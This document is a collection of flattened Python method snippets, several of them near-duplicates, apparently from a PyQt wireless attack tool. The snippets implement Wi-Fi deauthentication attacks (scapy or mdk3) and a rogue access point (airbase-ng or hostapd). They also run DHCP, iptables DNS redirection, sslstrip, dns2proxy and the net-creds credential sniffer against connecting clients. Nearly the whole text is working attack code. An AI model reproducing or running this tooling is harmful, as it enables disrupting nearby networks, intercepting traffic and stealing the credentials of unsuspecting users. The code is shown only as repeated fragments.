def attack_deauth(self): global threadloading if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings( 'deauth', 'select', None, False) self.args = str( self.xmlcheck.xmlSettings('mdk3', 'arguments', None, False)) self.interface = str( set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) t = Process(target=self.deauth_attacker, args=(self.bssid, str(self.input_client.text()), self.interface)) threadloading['deauth'].append(t) t.daemon = True t.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread( ('mdk3 %s %s %s' % (self.interface, self.args, self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self, 'Error mdk3', 'mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def SettingsScan(self): self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) if self.time_scan.currentText() == "10s":count = 10 elif self.time_scan.currentText() == "20s":count = 20 elif self.time_scan.currentText() == "30s":count = 30 if self.interface != None: if self.options_scan == "scan_scapy": self.scapy_scan_AP(self.interface,count) for i in self.ApsCaptured.keys(): if Refactor.check_is_mac(i): self.data['Channel'].append(self.ApsCaptured[i][0]) self.data['Essid'].append(self.ApsCaptured[i][1]) self.data['Bssid'].append(i) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) else: if path.isfile(popen('which airodump-ng').read().split("\n")[0]): self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start() else: QMessageBox.information(self,'Error airodump','airodump-ng not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def attack_deauth(self): global threadloading if self.linetarget.text() == "": QMessageBox.information(self, "Target Error", "Please, first select Target for attack") else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings("deauth", "select",None,False) self.args = str(self.xmlcheck.xmlSettings("mdk3","arguments", None, False)) if self.deauth_check == "packets_scapy": self.AttackStatus(True) t = Process(target=self.deauth_attacker, args=(self.bssid,str(self.input_client.text()))) print("[*] deauth Attack On:"+self.bssid) threadloading['deauth'].append(t) t.daemon = True t.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(("mdk3 %s %s %s"%(self.interface,self.args,self.bssid)).split()) t.name = "mdk3" threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def attack_deauth(self): global threadloading if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings('deauth', 'select',None,False) self.args = str(self.xmlcheck.xmlSettings('mdk3','arguments', None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) t = Process(target=self.deauth_attacker, args=(self.bssid, str(self.input_client.text()),self.interface)) threadloading['deauth'].append(t) t.daemon = True t.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def attack_deauth(self): global threadloading if self.linetarget.text() == "": QMessageBox.information(self, "Target Error", "Please, first select Target for attack") else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings( "deauth", "select", None, False) self.args = str( self.xmlcheck.xmlSettings("mdk3", "arguments", None, False)) if self.deauth_check == "packets_scapy": self.AttackStatus(True) t = Process(target=self.deauth_attacker, args=(self.bssid, str(self.input_client.text()))) print("[*] deauth Attack On:" + self.bssid) threadloading['deauth'].append(t) t.daemon = True t.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread( ("mdk3 %s %s %s" % (self.interface, self.args, self.bssid)).split()) t.name = "mdk3" threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self, 'Error mdk3', 'mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def kill(self): for i in self.thread: try: i.stop() except: pass try: terminate = \ [ 'killall dhcpd', 'killall dnsmasq' 'killall xterm', 'airmon-ng stop '+self.interface, 'echo \'0\' > /proc/sys/net/ipv4/ip_forward', 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain', 'ifconfig at0 down', ] for delete in terminate: system(delete) except: pass set_monitor_mode(self.interface).setDisable() self.Started(False) self.ListLoggerDhcp.clear()
def attack_deauth(self): global threadloading if hasattr(self,'threadScanAP'): if not self.threadScanAP.stopped: return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') if hasattr(self,'thread_airodump'): if self.thread_airodump.isAlive(): return QMessageBox.warning(self,'scanner','you need to stop the scanner Access Point') self.btn_stop.setEnabled(True) self.btn_enviar.setEnabled(False) if self.linetarget.text() == '': QMessageBox.information(self, 'Target Error', 'Please, first select Target for attack') else: self.bssid = str(self.linetarget.text()) self.deauth_check = self.xmlcheck.xmlSettings('deauth', 'select',None,False) self.args = str(self.xmlcheck.xmlSettings('mdk3','arguments', None, False)) self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) if self.deauth_check == 'packets_scapy': self.AttackStatus(True) threadDeauth = ThreadDeauth(self.bssid,str(self.input_client.text()),self.interface) threadloading['deauth'].append(threadDeauth) threadDeauth.setObjectName('Deauth scapy') threadDeauth.start() else: if path.isfile(popen('which mdk3').read().split("\n")[0]): self.AttackStatus(True) t = ProcessThread(('mdk3 %s %s %s'%(self.interface,self.args,self.bssid)).split()) t.name = 'Thread mdk3' threadloading['mdk3'].append(t) t.start() else: QMessageBox.information(self,'Error mdk3','mkd3 not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def kill(self): if self.Apthreads['RougeAP'] == []:return for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.interface).setDisable() self.Started(False) Refactor.set_ip_forward(0) self.ListLoggerDhcp.clear()
def StartProbeResquest(self): if self.get_placa.currentText() == '': return QMessageBox.information(self, 'Network Adapter', 'Network Adapter Not found try again.') set_monitor_mode(self.get_placa.currentText()).setEnable() self.ThreadProbe = ThreadProbeScan(str(self.get_placa.currentText())) self.connect(self.ThreadProbe,SIGNAL('Activated ( QString ) '), self.threadReceiveScan) self.ThreadProbe.setObjectName('::ThreadScanProbe') self.ThreadProbe.start() self.StartedProbe(True)
def kill(self): if self.Apthreads['RougeAP'] == []: return for i in self.Apthreads['RougeAP']: i.stop() for kill in self.SettingsAP['kill']: popen(kill) set_monitor_mode(self.interface).setDisable() self.Started(False) Refactor.set_ip_forward(0) self.ListLoggerDhcp.clear()
def closeEvent(self, event): outputiwconfig = popen('iwconfig').readlines() for i in outputiwconfig: if search('Mode:Monitor',i): reply = QMessageBox.question(self, 'About Exit','Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() set_monitor_mode(i.split()[0]).setDisable() return event.ignore()
def closeEvent(self, event): m = popen('iwconfig').readlines() self.interface = self.config.xmlSettings('interface', 'monitor_mode',None,False) for i in m: if search('Mode:Monitor',i): reply = QMessageBox.question(self, 'About Exit','Are you sure to quit?', QMessageBox.Yes | QMessageBox.No, QMessageBox.No) if reply == QMessageBox.Yes: event.accept() set_monitor_mode(self.interface).setDisable() else: event.ignore()
def StartProbeResquest(self): if self.get_placa.currentText() == '': return QMessageBox.information( self, 'Network Adapter', 'Network Adapter Not found try again.') set_monitor_mode(self.get_placa.currentText()).setEnable() self.ThreadProbe = ThreadProbeScan(str(self.get_placa.currentText())) self.connect(self.ThreadProbe, SIGNAL('Activated ( QString ) '), self.threadReceiveScan) self.ThreadProbe.setObjectName('::ThreadScanProbe') self.ThreadProbe.start() self.StartedProbe(True)
def closeEvent(self, event): outputiwconfig = popen("iwconfig").readlines() self.interface = self.FSettings.xmlSettings("interface", "monitor_mode", None, False) for i in outputiwconfig: if search("Mode:Monitor", i): reply = QMessageBox.question( self, "About Exit", "Are you sure to quit?", QMessageBox.Yes | QMessageBox.No, QMessageBox.No ) if reply == QMessageBox.Yes: event.accept() set_monitor_mode(i.split()[0]).setDisable() return event.ignore()
def Pro_request(self): self.time_control = None if self.time_scan.currentText() == "10s":self.time_control = 300 elif self.time_scan.currentText() == "20s":self.time_control = 400 elif self.time_scan.currentText() == "30s":self.time_control = 600 if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') return out = popen('iwconfig').readlines() for i in out: if search('Mode:Monitor', i): self.interface = i.split()[0] sniff(iface=self.interface,prn=self.sniff_probe, count=self.time_control) return set_monitor_mode(self.get_placa.currentText()).setEnable() sniff(iface=self.interface,prn=self.sniff_probe, count=self.time_control)
def kill(self): if self.Apthreads['RougeAP'] == []:return for i in self.Apthreads['RougeAP']:i.stop() terminate = [ 'killall dhcpd', 'killall dnsmasq' 'killall xterm', 'iptables --flush', 'iptables --table nat --flush', 'iptables --delete-chain', 'iptables --table nat --delete-chain'] for delete in terminate:popen(delete) set_monitor_mode(self.interface).setDisable() self.Started(False) Refactor.set_ip_forward(0) self.ListLoggerDhcp.clear()
def SettingsScan(self): self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) if self.time_scan.currentText() == "10s":count = 10 elif self.time_scan.currentText() == "20s":count = 20 elif self.time_scan.currentText() == "30s":count = 30 if self.interface != None: if self.options_scan == "scan_scapy": self.scapy_scan_AP(self.interface,count) for i in self.ApsCaptured.keys(): if Refactor.check_is_mac(i): self.data['Channel'].append(self.ApsCaptured[i][0]) self.data['Essid'].append(self.ApsCaptured[i][1]) self.data['Bssid'].append(i) Headers = [] for n, key in enumerate(self.data.keys()): Headers.append(key) for m, item in enumerate(self.data[key]): item = QTableWidgetItem(item) item.setTextAlignment(Qt.AlignVCenter | Qt.AlignCenter) self.tables.setItem(m, n, item) else: self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start()
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.information(self,'Error permission', 'Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.information(self,'Error', 'Network interface not supported :(') return self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode',self.interface,False) # airbase thread thr_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/'+asctime(),self.interface]) thr_airbase.name = 'Airbase-ng' self.thread.append(thr_airbase) thr_airbase.start() # settings conf while True: if thr_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False) break # thread netcreds ThNetCreds = ProcessThread(['python','Plugins/NetCreds.py','-i', self.config.xmlSettings('netcreds', 'interface',None,False)]) ThNetCreds.setName('Net-Creds') self.thread.append(ThNetCreds) ThNetCreds.start() p = Process(target=self.CoreSettings,args=()) p.start(),p.join() # thread dhcp if self.config.xmlSettings('dhcp','dhcp_server',None,False) != 'dnsmasq': Thdhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface]) self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) else: Thdhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d']) self.connect(Thdhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) # thread sslstrip Thsslstrip = Threadsslstrip(self.PortRedirect) Thsslstrip.setObjectName("Sslstrip") self.thread.append(Thsslstrip) Thsslstrip.start()
def kill(self): if self.Apthreads['RougeAP'] == []:return self.FSettings.xmlSettings('statusAP','value','False',False) for i in self.Apthreads['RougeAP']:i.stop() for kill in self.SettingsAP['kill']:popen(kill) set_monitor_mode(self.ConfigTwin['interface']).setDisable() self.Started(False) self.Apthreads['RougeAP'] = [] self.APclients = {} with open('Settings/dhcp/dhcpd.leases','w') as dhcpLease: dhcpLease.write(''),dhcpLease.close() self.btn_start_attack.setDisabled(False) Refactor.set_ip_forward(0) self.TabInfoAP.clearContents() try: self.FormPopup.Ftemplates.killThread() self.FormPopup.StatusServer(False) except AttributeError as e: print e
def Pro_request(self): self.time_control = None if self.time_scan.currentText() == "10s": self.time_control = 300 elif self.time_scan.currentText() == "20s": self.time_control = 400 elif self.time_scan.currentText() == "30s": self.time_control = 600 if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') return out = popen('iwconfig').readlines() for i in out: if search('Mode:Monitor', i): self.interface = i.split()[0] sniff(iface=self.interface, prn=self.sniff_probe, count=self.time_control) return set_monitor_mode(self.get_placa.currentText()).setEnable() sniff(iface=self.interface, prn=self.sniff_probe, count=self.time_control)
def SettingsScan(self): self.ApsCaptured = {} self.data = {'Bssid':[], 'Essid':[], 'Channel':[]} if self.get_placa.currentText() == "": QMessageBox.information(self, "Network Adapter", 'Network Adapter Not found try again.') else: self.interface = str(set_monitor_mode(self.get_placa.currentText()).setEnable()) self.xmlcheck.xmlSettings("interface", "monitor_mode", self.interface, False) self.btn_scan_stop.setEnabled(True) self.btn_scan_start.setEnabled(False) if self.interface != None: if self.options_scan == "scan_scapy": self.threadScanAP = ThreadScannerAP(self.interface) self.connect(self.threadScanAP,SIGNAL('Activated ( QString ) '), self.monitorThreadScan) self.threadScanAP.setObjectName('Thread Scanner AP::scapy') self.threadScanAP.start() else: if path.isfile(popen('which airodump-ng').read().split("\n")[0]): self.thread_airodump = threading.Thread(target=self.scan_diveces_airodump) self.thread_airodump.daemon = True self.thread_airodump.start() else: QMessageBox.information(self,'Error airodump','airodump-ng not installed') set_monitor_mode(self.get_placa.currentText()).setDisable()
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.information(self, 'Error permission', 'Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.information(self, 'Error', 'Network interface not supported :(') return self.interface = str( set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode', self.interface, False) # airbase thread thr_airbase = ProcessThread([ 'airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/' + asctime(), self.interface ]) thr_airbase.name = 'Airbase-ng' self.thread.append(thr_airbase) thr_airbase.start() # settings conf while True: if thr_airbase.iface != None: self.Ap_iface = [ x for x in Refactor.get_interfaces()['all'] if search('at', x) ][0] self.config.xmlSettings('netcreds', 'interface', self.Ap_iface, False) break # thread netcreds ThNetCreds = ProcessThread([ 'python', 'Plugins/NetCreds.py', '-i', self.config.xmlSettings('netcreds', 'interface', None, False) ]) ThNetCreds.setName('Net-Creds') self.thread.append(ThNetCreds) ThNetCreds.start() p = Process(target=self.CoreSettings, args=()) p.start(), p.join() # thread dhcp if self.config.xmlSettings('dhcp', 'dhcp_server', None, False) != 'dnsmasq': Thdhcp = ThRunDhcp([ 'sudo', 'dhcpd', '-d', '-f', '-cf', '/etc/dhcp/dhcpd.conf', self.Ap_iface ]) self.connect(Thdhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) else: Thdhcp = ThRunDhcp( ['dnsmasq', '-C', 'Settings/dnsmasq.conf', '-d']) self.connect(Thdhcp, SIGNAL('Activated ( QString ) '), self.dhcpLog) Thdhcp.setObjectName('DHCP') self.thread.append(Thdhcp) Thdhcp.start() self.Started(True) # thread sslstrip Thsslstrip = Threadsslstrip(self.PortRedirect) Thsslstrip.setObjectName("Sslstrip") self.thread.append(Thsslstrip) Thsslstrip.start()
def StartApFake(self): self.btn_start_attack.setDisabled(True) if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self,'Error interface','Network interface not supported :(') if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self,'Error Gateway','gateway not found') if not self.ConfigTwin['ProgCheck'][5]: return QMessageBox.information(self,'Error Hostapd','hostapd not installed') dhcp_select = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select == 'iscdhcpserver': if not self.ConfigTwin['ProgCheck'][3]: return QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') elif dhcp_select == 'dnsmasq': if not self.ConfigTwin['ProgCheck'][4]: return QMessageBox.information(self,'Error dhcp','dnsmasq not installed') if str(Refactor.get_interfaces()['activated']).startswith('wlan'): return QMessageBox.information(self,'Error network card', 'You are connected with interface wireless, try again with local connection') self.APactived = self.FSettings.xmlSettings('accesspoint','actived',None,False) if self.APactived == 'airbase-ng': self.ConfigTwin['interface'] = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings('interface', 'monitor_mode',self.ConfigTwin['interface'],False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/Caplog/'+asctime(),self.ConfigTwin['interface']]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.ConfigTwin['AP_iface'] = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.FSettings.xmlSettings('netcreds', 'interface',self.ConfigTwin['AP_iface'],False) break self.CoreSettings() elif self.APactived == 'hostapd': self.FSettings.xmlSettings('netcreds','interface', str(self.selectCard.currentText()),False) self.ConfigTwin['AP_iface'] = str(self.selectCard.currentText()) try: check_output(['nmcli','radio','wifi',"off"]) except CalledProcessError: try: check_output(['nmcli','nm','wifi',"off"]) except CalledProcessError as e: return QMessageBox.warning(self,'Error nmcli',e) call(['rfkill', 'unblock' ,'wlan']) self.CoreSettings() ignore = ('interface=','ssid=','channel=') with open('Settings/hostapd.conf','w') as apconf: for i in self.SettingsAP['hostapd']:apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split('\n'): if not config.startswith('#') and len(config) > 0: if not config.startswith(ignore): apconf.write(config+'\n') apconf.close() self.Thread_hostapd = ProcessHostapd(['hostapd','-d','Settings/hostapd.conf']) self.Thread_hostapd.setObjectName('hostapd') self.Thread_hostapd.statusAP_connected.connect(self.GetHostapdStatus) self.Apthreads['RougeAP'].append(self.Thread_hostapd) self.Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-lf','Settings/dhcp/dhcpd.leases','-cf', '/etc/dhcp/dhcpd.conf',self.ConfigTwin['AP_iface']]) Thread_dhcp.sendRequest.connect(self.GetDHCPRequests) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() ##### dnsmasq disabled # elif selected_dhcp == 'dnsmasq': # Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Core/config/dnsmasq.conf','-d']) # self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) # Thread_dhcp .setObjectName('DHCP') # self.Apthreads['RougeAP'].append(Thread_dhcp) # Thread_dhcp .start() else:return QMessageBox.information(self,'DHCP',selected_dhcp + ' not found.') self.Started(True) self.FSettings.xmlSettings('statusAP','value','True',False) if self.FSettings.check_redirect.isChecked() or not self.PopUpPlugins.check_sslstrip.isChecked(): popen('iptables -t nat -A PREROUTING -p udp -j DNAT --to {}'.format(str(self.EditGateway.text()))) self.FSettings.xmlSettings('sslstrip_plugin','status','False',False) self.PopUpPlugins.check_sslstrip.setChecked(False) self.PopUpPlugins.unset_Rules('sslstrip') # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.ConfigTwin['PortRedirect']) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread(['python','Plugins/net-creds/net-creds.py','-i', self.FSettings.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() if self.PopUpPlugins.check_dns2proy.isChecked(): Thread_dns2proxy = ProcessThread(['python','Plugins/dns2proxy/dns2proxy.py']) Thread_dns2proxy.setName('Dns2Proxy') self.Apthreads['RougeAP'].append(Thread_dns2proxy) Thread_dns2proxy.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('--append FORWARD --in-interface',rules):popen(rules.replace('$$',self.ConfigTwin['AP_iface'])) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else:popen(rules)
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: return QMessageBox.warning(self, "Error permission", "Run as root ") if len(self.selectCard.currentText()) == 0: return QMessageBox.warning(self, "Error interface", "Network interface not supported :(") if len(self.EditGateway.text()) == 0: return QMessageBox.warning(self, "Error Gateway", "gateway not found") if not self.ProgramCheck[5]: return QMessageBox.information(self, "Error Hostapd", "hostapd not installed") dhcp_select = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if dhcp_select == "iscdhcpserver": if not self.ProgramCheck[3]: return QMessageBox.warning(self, "Error dhcp", "isc-dhcp-server not installed") elif dhcp_select == "dnsmasq": if not self.ProgramCheck[4]: return QMessageBox.information(self, "Error dhcp", "dnsmasq not installed") self.APactived = self.FSettings.xmlSettings("accesspoint", "actived", None, False) if self.APactived == "airbase-ng": self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.FSettings.xmlSettings("interface", "monitor_mode", self.interface, False) # airbase thread Thread_airbase = ProcessThread( [ "airbase-ng", "-c", str(self.EditChannel.text()), "-e", self.EditApName.text(), "-F", "Logs/Caplog/" + asctime(), self.interface, ] ) Thread_airbase.name = "Airbase-ng" self.Apthreads["RougeAP"].append(Thread_airbase) Thread_airbase.start() # settings while True: if Thread_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()["all"] if search("at", x)][0] self.FSettings.xmlSettings("netcreds", "interface", self.Ap_iface, False) break self.CoreSettings() elif self.APactived == "hostapd": self.FSettings.xmlSettings("netcreds", "interface", str(self.selectCard.currentText()), False) self.Ap_iface = str(self.selectCard.currentText()) call(["airmon-ng", "check", "kill"]) self.CoreSettings() ignore = ("interface=", "driver=", "ssid=", "channel=") with open("Settings/hostapd.conf", "w") as apconf: for i in self.SettingsAP["hostapd"]: apconf.write(i) for config in str(self.FSettings.ListHostapd.toPlainText()).split("\n"): if not config.startswith("#") and len(config) > 0: if not config.startswith(ignore): apconf.write(config + "\n") apconf.close() Thread_hostapd = ProcessThread(["hostapd", "Settings/hostapd.conf"]) Thread_hostapd.name = "hostapd" self.Apthreads["RougeAP"].append(Thread_hostapd) Thread_hostapd.start() # thread dhcp selected_dhcp = self.FSettings.xmlSettings("dhcp", "dhcp_server", None, False) if selected_dhcp == "iscdhcpserver": Thread_dhcp = ThRunDhcp(["sudo", "dhcpd", "-d", "-f", "-cf", "/etc/dhcp/dhcpd.conf", self.Ap_iface]) self.connect(Thread_dhcp, SIGNAL("Activated ( QString ) "), self.dhcpLog) Thread_dhcp.setObjectName("DHCP") self.Apthreads["RougeAP"].append(Thread_dhcp) Thread_dhcp.start() elif selected_dhcp == "dnsmasq": Thread_dhcp = ThRunDhcp(["dnsmasq", "-C", "Settings/dnsmasq.conf", "-d"]) self.connect(Thread_dhcp, SIGNAL("Activated ( QString ) "), self.dhcpLog) Thread_dhcp.setObjectName("DHCP") self.Apthreads["RougeAP"].append(Thread_dhcp) Thread_dhcp.start() else: return QMessageBox.information(self, "DHCP", selected_dhcp + " not found.") self.Started(True) # thread plugins if self.PopUpPlugins.check_sslstrip.isChecked(): Thread_sslstrip = Threadsslstrip(self.PortRedirect) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads["RougeAP"].append(Thread_sslstrip) Thread_sslstrip.start() if self.PopUpPlugins.check_netcreds.isChecked(): Thread_netcreds = ProcessThread( [ "python", "Plugins/net-creds/net-creds.py", "-i", self.FSettings.xmlSettings("netcreds", "interface", None, False), ] ) Thread_netcreds.setName("Net-Creds") self.Apthreads["RougeAP"].append(Thread_netcreds) Thread_netcreds.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search("PREROUTING -p udp -j DNAT --to", rules): popen(rules.replace("$$", str(self.EditGateway.text()))) elif search("--append FORWARD --in-interface", rules): popen(rules.replace("$$", self.Ap_iface)) elif search("--append POSTROUTING --out-interface", rules): popen(rules.replace("$$", str(Refactor.get_interfaces()["activated"]))) else: popen(rules)
def StopProbeResquest(self): self.ThreadProbe.stop() self.StartedProbe(False) set_monitor_mode(self.get_placa.currentText()).setDisable()
def StartApFake(self): self.ListLoggerDhcp.clear() if geteuid() != 0: QMessageBox.warning(self,'Error permission','Run as root ') return if len(self.selectCard.currentText()) == 0: QMessageBox.warning(self,'Error interface','Network interface not supported :(') return dhcp_select = self.config.xmlSettings('dhcp','dhcp_server',None,False) if dhcp_select != 'dnsmasq': if not self.m[3]: QMessageBox.warning(self,'Error dhcp','isc-dhcp-server not installed') return else: if not self.m[4]: QMessageBox.information(self,'Error dhcp','dnsmasq not installed') return self.interface = str(set_monitor_mode(self.selectCard.currentText()).setEnable()) self.config.xmlSettings('interface', 'monitor_mode',self.interface,False) # airbase thread Thread_airbase = ProcessThread(['airbase-ng', '-c', str(self.EditChannel.text()), '-e', self.EditApName.text(), '-F', 'Logs/'+asctime(),self.interface]) Thread_airbase.name = 'Airbase-ng' self.Apthreads['RougeAP'].append(Thread_airbase) Thread_airbase.start() # settings conf while True: if Thread_airbase.iface != None: self.Ap_iface = [x for x in Refactor.get_interfaces()['all'] if search('at',x)][0] self.config.xmlSettings('netcreds', 'interface',self.Ap_iface,False) break # thread netcreds Thread_netcreds = ProcessThread(['python','Plugins/NetCreds.py','-i', self.config.xmlSettings('netcreds', 'interface',None,False)]) Thread_netcreds.setName('Net-Creds') self.Apthreads['RougeAP'].append(Thread_netcreds) Thread_netcreds.start() p = Process(target=self.CoreSettings,args=()) p.start(),p.join() # thread dhcp selected_dhcp = self.config.xmlSettings('dhcp','dhcp_server',None,False) if selected_dhcp == 'iscdhcpserver': Thread_dhcp = ThRunDhcp(['sudo','dhcpd','-d','-f','-cf','/etc/dhcp/dhcpd.conf',self.Ap_iface]) self.connect(Thread_dhcp,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp.setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp.start() self.Started(True) elif selected_dhcp == 'dnsmasq': Thread_dhcp = ThRunDhcp(['dnsmasq','-C','Settings/dnsmasq.conf','-d']) self.connect(Thread_dhcp ,SIGNAL('Activated ( QString ) '), self.dhcpLog) Thread_dhcp .setObjectName('DHCP') self.Apthreads['RougeAP'].append(Thread_dhcp) Thread_dhcp .start() self.Started(True) else: QMessageBox.information(self,'DHCP','dhcp not found.') # thread sslstrip Thread_sslstrip = Threadsslstrip(self.PortRedirect) Thread_sslstrip.setObjectName("sslstrip") self.Apthreads['RougeAP'].append(Thread_sslstrip) Thread_sslstrip.start() iptables = [] for index in xrange(self.FSettings.ListRules.count()): iptables.append(str(self.FSettings.ListRules.item(index).text())) for rules in iptables: if search('PREROUTING -p udp -j DNAT --to',rules): popen(rules.replace('$$',str(self.EditGateway.text()))) elif search('--append FORWARD --in-interface',rules):popen(rules.replace('$$',self.Ap_iface)) elif search('--append POSTROUTING --out-interface',rules): popen(rules.replace('$$',str(Refactor.get_interfaces()['activated']))) else: popen(rules)
